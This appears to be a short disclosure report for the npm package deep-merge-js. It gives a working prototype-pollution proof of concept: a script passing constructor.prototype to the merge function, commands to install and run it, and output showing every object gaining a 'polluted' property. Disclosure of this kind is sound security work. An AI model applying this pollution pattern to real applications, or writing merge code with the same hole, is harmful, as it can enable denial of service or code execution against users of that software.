vulnerability prototype pollution
severity 7.3
language javascript
registry npm


deep-merge-js is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
const merge = require('deep-merge-js')

console.log('Before: ', {}.polluted)
merge(constructor.prototype, {polluted: true})
console.log('After: ', {}.polluted)
  1. Execute the following commands in the terminal:
npm i deep-merge-js # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: true


Prototype Pollution leads to Information Disclosure/DoS/RCE.